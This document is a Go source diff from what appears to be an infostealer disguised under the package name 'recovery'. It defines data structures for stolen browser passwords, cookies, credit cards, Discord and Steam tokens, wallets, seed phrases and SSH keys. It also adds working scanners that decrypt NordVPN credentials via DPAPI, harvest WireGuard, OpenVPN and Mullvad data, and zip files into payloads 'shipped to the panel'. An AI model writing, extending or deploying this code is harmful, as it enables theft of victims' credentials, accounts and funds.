Telegram bool `json:"telegram"`
Keys bool `json:"keys"`
Apps bool `json:"apps"`
Gaming bool `json:"gaming"`
VPNs bool `json:"vpns"`
}
type ResolvedKeys struct {
V10 []byte
V20 []byte
}
type PasswordResult struct {
URL string `json:"url"`
Username string `json:"username"`
Password string `json:"password"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CookieResult struct {
Host string `json:"host"`
Name string `json:"name"`
Value string `json:"value"`
Path string `json:"path"`
Secure bool `json:"secure"`
HTTPOnly bool `json:"httpOnly"`
ExpiresUTC int64 `json:"expiresUtc"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type AutofillResult struct {
Name string `json:"name"`
Value string `json:"value"`
DateCreated int64 `json:"dateCreated"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type HistoryResult struct {
URL string `json:"url"`
Title string `json:"title"`
VisitTimeUnix int64 `json:"visitTimeUnix"`
VisitCount int64 `json:"visitCount"`
LastVisitTime int64 `json:"lastVisitTime"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type BookmarkResult struct {
Name string `json:"name"`
URL string `json:"url"`
Type string `json:"type"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CreditCardResult struct {
NameOnCard string `json:"nameOnCard"`
ExpirationMonth int `json:"expirationMonth"`
ExpirationYear int `json:"expirationYear"`
CardNumber string `json:"cardNumber"`
Nickname string `json:"nickname"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type DiscordTokenResult struct {
Token string `json:"token"`
Source string `json:"source"`
}
type FileResult struct {
Path string `json:"path"`
Name string `json:"name"`
Ext string `json:"ext"`
Size int64 `json:"size"`
Modified int64 `json:"modified"`
Dir string `json:"dir"`
Tags []string `json:"tags,omitempty"`
}
type ExtensionResult struct {
ExtID string `json:"extId"`
Name string `json:"name"`
Version string `json:"version"`
Browser string `json:"browser"`
Profile string `json:"profile"`
Path string `json:"path"`
Category string `json:"category,omitempty"`
}
type WalletResult struct {
Name string `json:"name"`
Type string `json:"type"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
Addresses []string `json:"addresses,omitempty"`
VaultData string `json:"vaultData,omitempty"`
}
type AppCredentialResult struct {
Application string `json:"application"`
Host string `json:"host,omitempty"`
Port int `json:"port,omitempty"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Protocol string `json:"protocol,omitempty"`
Extra string `json:"extra,omitempty"`
}
type CollectionResult struct {
Passwords []PasswordResult `json:"passwords,omitempty"`
Cookies []CookieResult `json:"cookies,omitempty"`
Autofill []AutofillResult `json:"autofill,omitempty"`
History []HistoryResult `json:"history,omitempty"`
Bookmarks []BookmarkResult `json:"bookmarks,omitempty"`
CreditCards []CreditCardResult `json:"creditCards,omitempty"`
DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"`
Files []FileResult `json:"files,omitempty"`
Extensions []ExtensionResult `json:"extensions,omitempty"`
Wallets []WalletResult `json:"wallets,omitempty"`
Telegram []TelegramResult `json:"telegram,omitempty"`
Keys []KeyResult `json:"keys,omitempty"`
AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"`
Gaming *GamingResult `json:"gaming,omitempty"`
VPNs *VPNResult `json:"vpns,omitempty"`
Errors []string `json:"errors,omitempty"`
}
type TelegramResult struct {
Account string `json:"account"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
}
type KeyResult struct {
Type string `json:"type"`
Name string `json:"name"`
Path string `json:"path"`
Size int64 `json:"size"`
Content string `json:"content,omitempty"`
}
type SeedResult struct {
Source string `json:"source"`
Path string `json:"path"`
Phrase string `json:"phrase"`
Words int `json:"words"`
}
type GameInfo struct {
ID string `json:"id"`
Name string `json:"name"`
Installed bool `json:"installed"`
Running bool `json:"running"`
}
type SteamResult struct {
SteamPath string `json:"steamPath,omitempty"`
AutoLogin string `json:"autoLogin,omitempty"`
RememberPW bool `json:"rememberPw,omitempty"`
Account string `json:"account,omitempty"`
Token string `json:"token,omitempty"`
SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"`
SSFNFiles []string `json:"ssfnFiles,omitempty"`
Games []GameInfo `json:"games,omitempty"`
}
// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID.
// Format: <steamid>.<jwt> (steamID is the part before the first dot).
type SteamTokenResult struct {
SteamID string `json:"steamId"`
Token string `json:"token"`
}
type BattleNetResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type EpicResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type RiotResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type UplayResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type GamingResult struct {
Steam *SteamResult `json:"steam,omitempty"`
BattleNet []BattleNetResult `json:"battleNet,omitempty"`
Epic []EpicResult `json:"epic,omitempty"`
Riot []RiotResult `json:"riot,omitempty"`
Uplay []UplayResult `json:"uplay,omitempty"`
}
type NordVPNResult struct {
Version string `json:"version"`
Username string `json:"username"`
Password string `json:"password"`
}
type WireGuardResult struct {
Name string `json:"name"`
Interface string `json:"interface,omitempty"`
Peer string `json:"peer,omitempty"`
Endpoint string `json:"endpoint,omitempty"`
}
type OpenVPNResult struct {
Name string `json:"name"`
Path string `json:"path"`
}
type MullvadResult struct {
AccountNumber string `json:"accountNumber"`
SettingsPath string `json:"settingsPath"`
Content string `json:"content,omitempty"`
}
type VPNResult struct {
NordVPN []NordVPNResult `json:"nordvpn,omitempty"`
WireGuard []WireGuardResult `json:"wireguard,omitempty"`
OpenVPN []OpenVPNResult `json:"openvpn,omitempty"`
Mullvad []MullvadResult `json:"mullvad,omitempty"`
}
// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder,
// Telegram session or Steam login files. Sent together with the result over
// E2EE so the panel can host + back it up.
type Payload struct {
Category string `json:"category"`
Name string `json:"name"`
Filename string `json:"filename"`
Size int `json:"size"`
Data []byte `json:"data"` // base64-encoded by the JSON layer
}
@@ -0,0 +1,186 @@
//go:build !windows
package recovery
import (
"encoding/json"
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
WireGuard: scanWireGuardUnix(),
OpenVPN: scanOpenVPNUnix(),
Mullvad: scanMullvadUnix(),
}
if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanWireGuardUnix() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{"/etc/wireguard"}
if runtime.GOOS == "darwin" {
configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
}
home, _ := os.UserHomeDir()
if home != "" {
configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
}
for _, configDir := range configDirs {
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
continue
}
filePath := filepath.Join(configDir, e.Name())
confData, err := os.ReadFile(filePath)
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range strings.Split(string(confData), "\n") {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: e.Name(),
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func scanOpenVPNUnix() []types.OpenVPNResult {
var results []types.OpenVPNResult
home, _ := os.UserHomeDir()
ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
if home != "" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, ".config", "openvpn"),
filepath.Join(home, "OpenVPN", "config"),
)
if runtime.GOOS == "darwin" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
)
}
}
for _, ovpnDir := range ovpnDirs {
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvadUnix() []types.MullvadResult {
var results []types.MullvadResult
configDirs := []string{"/etc/mullvad-vpn"}
home, _ := os.UserHomeDir()
if home != "" {
if runtime.GOOS == "darwin" {
configDirs = append(configDirs,
filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
)
} else {
configDirs = append(configDirs,
filepath.Join(home, ".config", "Mullvad VPN"),
)
}
}
for _, dir := range configDirs {
if !pathExists(dir) {
continue
}
for _, name := range []string{"settings.json", "account-history.json"} {
path := filepath.Join(dir, name)
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
continue
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
break
}
}
}
}
return results
}
func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
@@ -0,0 +1,390 @@
//go:build windows
package recovery
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
NordVPN: scanNordVPN(),
WireGuard: scanWireGuard(),
OpenVPN: scanOpenVPN(),
Mullvad: scanMullvad(),
}
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanNordVPN() []types.NordVPNResult {
var results []types.NordVPNResult
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
if !pathExists(nordDir) {
return nil
}
entries, err := os.ReadDir(nordDir)
if err != nil {
return nil
}
for _, e := range entries {
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
continue
}
versionsDir := filepath.Join(nordDir, e.Name())
subEntries, _ := os.ReadDir(versionsDir)
for _, sub := range subEntries {
if !sub.IsDir() {
continue
}
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
if !pathExists(configPath) {
continue
}
data, err := os.ReadFile(configPath)
if err != nil || len(data) == 0 {
continue
}
username := extractNordVPNValue(data, "Username")
password := extractNordVPNValue(data, "Password")
if username != "" && password != "" {
results = append(results, types.NordVPNResult{
Version: e.Name(),
Username: username,
Password: password,
})
}
}
}
return results
}
func extractNordVPNValue(data []byte, field string) string {
content := string(data)
idx := strings.Index(content, `name="`+field+`"`)
if idx == -1 {
return ""
}
start := strings.Index(content[idx:], "<value>")
end := strings.Index(content[idx:], "</value>")
if start == -1 || end == -1 || end < start {
return ""
}
raw := content[idx+start+7 : idx+end]
decoded, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return raw
}
plaintext, err := dpapiDecrypt(decoded, nil)
if err != nil || len(plaintext) == 0 {
return raw
}
return strings.TrimRight(string(plaintext), "\x00")
}
func scanWireGuard() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{
`C:\Program Files\WireGuard\Data\Configurations`,
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
}
for _, configDir := range configDirs {
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
logf("[vpn] WireGuard dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
ext := strings.ToLower(filepath.Ext(name))
filePath := filepath.Join(configDir, name)
var confData []byte
if ext == ".dpapi" {
confData, err = dpapiDecryptFile(filePath)
name = strings.TrimSuffix(name, ".dpapi")
} else if ext == ".conf" {
confData, err = os.ReadFile(filePath)
} else {
continue
}
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range normLines(string(confData)) {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: name,
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func dpapiDecryptFile(path string) ([]byte, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
return dpapiDecrypt(data, nil)
}
func scanOpenVPN() []types.OpenVPNResult {
var results []types.OpenVPNResult
ovpnDirs := []string{
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
}
for _, ovpnDir := range ovpnDirs {
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
logf("[vpn] OpenVPN dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvad() []types.MullvadResult {
var results []types.MullvadResult
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
if pathExists(systemProfile) {
sysSettings := filepath.Join(systemProfile, "settings.json")
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
mullvadTryJSON(&results, sysSettings)
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
}
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
mullvadTryJSON(&results, daemonSettings)
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
if pathExists(guiDir) {
guiSettings := filepath.Join(guiDir, "gui_settings.json")
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
mullvadTryJSON(&results, guiSettings)
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
if pathExists(lsDir) {
mullvadScanLevelDB(&results, lsDir, guiDir)
}
}
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
if pathExists(legacyPath) {
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
var account string
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
account = strings.TrimRight(string(decrypted), "\x00")
}
if account == "" {
for _, line := range normLines(strings.TrimSpace(string(data))) {
line = strings.TrimSpace(line)
if line != "" {
account = line
break
}
}
}
if account != "" && !mullvadAlreadyFound(results, account) {
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
}
}
}
return results
}
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
if !pathExists(path) {
return
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
return
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" {
logf("[vpn] Mullvad found token via key %q in %s", key, path)
if !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
return
}
}
}
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
if !pathExists(path) {
return
}
data, err := platform.ReadLockedFile(path, pids)
if err != nil || len(data) == 0 {
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
return
}
rawContent := strings.TrimSpace(string(data))
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
}
var tokens []string
if json.Unmarshal(data, &tokens) == nil {
for _, t := range tokens {
if t != "" && !mullvadAlreadyFound(*results, t) {
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
}
}
}
}
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
entries, err := os.ReadDir(lsDir)
if err != nil {
return
}
for _, e := range entries {
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
if err != nil || len(data) == 0 {
continue
}
content := string(data)
// Mullvad account numbers are 16 decimal digits
for i := 0; i <= len(content)-16; i++ {
if isDigit(content[i]) {
end := i
for end < len(content) && isDigit(content[end]) {
end++
}
seq := content[i:end]
if len(seq) == 16 {
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
if !mullvadAlreadyFound(*results, seq) {
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
}
}
i = end
}
}
}
}
func isDigit(c byte) bool {
return c >= '0' && c <= '9'
}
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
@@ -0,0 +1,83 @@
package ziputil
import (
"archive/zip"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
const maxZipSize = 50 * 1024 * 1024 // 50 MB
func ZipDirectory(dir string) ([]byte, error) {
if _, err := os.Stat(dir); err != nil {
return nil, fmt.Errorf("directory not found: %s", dir)
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
baseName := filepath.Base(dir)
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
rel, err := filepath.Rel(dir, path)
if err != nil {
return nil
}
zipEntry := baseName + "/" + filepath.ToSlash(rel)
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
w, err := zw.Create(zipEntry)
if err != nil {
return nil
}
io.Copy(w, f) //nolint:errcheck
return nil
})
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}
func ZipFiles(paths []string, baseDir string) ([]byte, error) {
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
for _, p := range paths {
rel, err := filepath.Rel(baseDir, p)
if err != nil {
rel = filepath.Base(p)
}
f, err := os.Open(p)
if err != nil {
continue
}
w, err := zw.Create(filepath.ToSlash(rel))
if err != nil {
f.Close()
continue
}
io.Copy(w, f)
f.Close()
}
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}